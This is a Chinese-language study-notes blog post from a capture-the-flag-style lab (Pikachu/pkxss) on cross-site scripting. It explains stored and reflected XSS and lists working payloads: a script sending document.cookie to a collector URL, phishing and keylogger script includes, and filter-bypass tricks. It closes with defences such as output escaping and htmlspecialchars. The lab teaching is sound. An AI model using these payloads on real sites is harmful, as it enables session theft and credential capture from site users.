Cyber Security-Day20(靶场练习之XSS)
存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。
·XSS漏洞测试:cookie的窃取和利用
pkxss后台: http://localhost/pkxss/pkxss_1ogin.php <script>document.Location='http://localhost/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script> http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpkxss%2Fxcookies2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
·XSS漏洞测试:钓龟攻击
<img src="http://localhost/pikachu/pkxss/xfish/xfish.php"/> <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
·XSS漏洞测试:xss获取键盘记录
首先要搞清跨域和同源策略:
<script src="http://127.0.0.1/pkxss/rkeypress/rk.js"></script>
XSS盲打:
前端看不到,但是后台以及管理员可以看到,可以通过钓鱼或者链接跳转获取cookie并转发。
XSS绕过:
0,前端限制绕过,直接抓包重放,或者修改html前端代码 1.,大小写,比如:<SCRIPT>aLeRT(111)</SCRIpt> 2,拼凑:<scri<script>pt>alert(111)</scri</script>pt> 3,使用注释进行干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
核心思路: 后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定会过滤当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行.
如果针对script 就是用 <img src=x onerror="alert(11)"> 或者 javascript:alert(111)
如果对<>过滤就使用HTML编码
htmlspecialchars()函数把预定义的字符转预定义的字符是: &(和号)成为&
”(双引号)成为"
’(单引号)成为'
<(小于)成为&<
>(大于)成为>
可用的引号类型: ENT_COMPAT-默认。仅编码双引号。 ENT_QUOTES-编码双引号和单引号。 ENT_NOQUOTES-不编码任何引号。
XSS常见防范措施
总的原则:输入做过滤,输出做转义
·过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。 ·转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行js转义。
//输出在a标签的href属性里面,可以使用javascript协议来执行js //防御:只允许http,httpl,其次在进行htmlspecialchars处理
<script>
$ms='111111'</script><script>alert(1111)</script>'';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
js使用'</script><script>alert(1111)</script>来闭合
js预防手段:使用\对特殊字符进行转义
本文作者:Arrest
本文链接:https://www.cnblogs.com/arrest/articles/16522852.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步